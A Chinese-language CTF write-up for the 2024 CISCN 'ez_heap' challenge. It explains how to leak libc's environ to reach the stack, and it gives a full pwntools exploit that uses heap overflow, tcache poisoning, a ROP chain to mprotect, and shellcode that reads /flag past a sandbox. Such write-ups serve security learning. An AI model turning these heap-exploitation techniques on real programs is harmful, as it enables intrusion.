pwn-environ打栈学习

前言

很早前就了解过这个打法了,但是一直没尝试过,今天试着做了一道2024ciscn ez_heap来尝试一下environ打栈,其实很简单,environ在libc中,储存着一个栈地址,而这个栈地址与函数栈帧之间的偏移是固定的,通过泄露environ,就可以在堆题中实现对栈的攻击,但其实都能把chunk劫持到栈上进行篡改数据的话,直接修改IO结构体,打IO也是可行的,这里尝试了一下打栈

题目分析

题目漏洞很简单,比如在add里申请一个0x100的chunk,但是在edit里对这个chunk的修改的size由自己定,且没有上限,你可以修改0x200,0x300甚至更大,很明显的堆溢出,之后泄露heap,泄露libc,泄露stack,然后将chunk劫持到栈上修改ret,控制执行流,就可以了,哦对,这个题开启了沙箱,可以用mprotect修改一个页的权限,然后写进去shellcode,也可以直接用rop链,都是可行的,我这边用的mprotect,记得调用mprotect时修改权限的地址要页对齐噢~~

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def add(size,content):
sla(b'choice >> ',b'1')
sla(b'size:',str(size).encode())
sa(b'content:',content)

def delete(index):
sla(b'choice >> ',b'2')
sla(b'idx:',str(index).encode())

def edit(index,size,content):
sla(b'choice >> ',b'3')
sla(b'idx:',str(index).encode())
sla(b'size:',str(size).encode())
sa(b'content:',content)

def show(index):
sla(b'choice >> ',b'4')
sla(b'idx:',str(index).encode())

def esc():
sla(b'choice >> ',b'5')

libc=ELF('./libc.so.6')
p=process('./EzHeap')
add(0x200,b'a')
add(0x200,b'a')
delete(1)
edit(0,0x210,b'a'*0x210)
show(0)
ru(b'a'*0x210)
key=(u64(p.recv(5).ljust(8,b'\x00')))
heap_base=key<<12
edit(0,0x210,b'a'*0x200+p64(0)+p64(0x211))
print(hex(heap_base))
add(0x200,b'a')
add(0x450,b'a')
add(0x230,b'a')
add(0x200,b'a')
delete(2)
edit(1,0x210,b'a'*0x210)
show(1)
ru(b'a'*0x210)
libc_base=uu64()-0x21ace0
environ=li(0x222200)
ogg1=li(0xebc81)
ogg2=li(0xebc85)
ogg3=li(0xebc88)
ogg4=li(0xebce2)
ogg5=li(0xebd38)
ogg6=li(0xebd3f)
ogg7=li(0xebd43)
system,binsh=getshell()
rdi=li(0x000000000002a3e5)
rsi=li(0x000000000002be51)
rdx_r12=li(0x000000000011f2e7)
mprotect=lis(b'mprotect')
edit(1,0x210,b'a'*0x200+p64(0)+p64(0x461))
print(hex(libc_base))
add(0x450,b'a')
delete(1)
delete(4)
edit(3,0x248,b'a'*0x230+p64(0)+p64(0x211)+p64((environ-0x210)^key))
add(0x200,b'a')
add(0x200,b'a')
edit(4,0x210,b'a'*0x210)
show(4)
stack=l64()
shellcode=asm(
f'''
lea rdi,[rip]
add rdi,0x139
xor rsi,rsi
mov rax, 2
syscall

mov rdi, rax
lea rsi,[rsp+0x30]
mov rdx, 0x30
mov rax, 0
syscall

mov rdi,1
mov rdx,0x30
mov rax,1
syscall
'''
)
print(hex(stack))
add(0x100,b'a')
add(0x100,b'a')
add(0x100,b'a')
add(0x100,b'a')
add(0x100,b'a')
add(0x100,b'a')
add(0x100,b'a')
add(0x400,b'a')
add(0x400,b'a')
add(0x400,b'a')
add(0x400,(b'a'*0xc0+shellcode).ljust(0x200,b'\x00')+b'/flag\x00')
delete(9)
delete(11)
edit(10,0x118,b'a'*0x100+p64(0)+p64(0x111)+p64((stack-0x170-8)^(key+1)))
add(0x100,b'a')
print(hex(heap_base))
add(0x100,b'a'*8+p64(rdi)+p64(he(0x2000))+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(mprotect)+p64(he(0x2000)))
shell()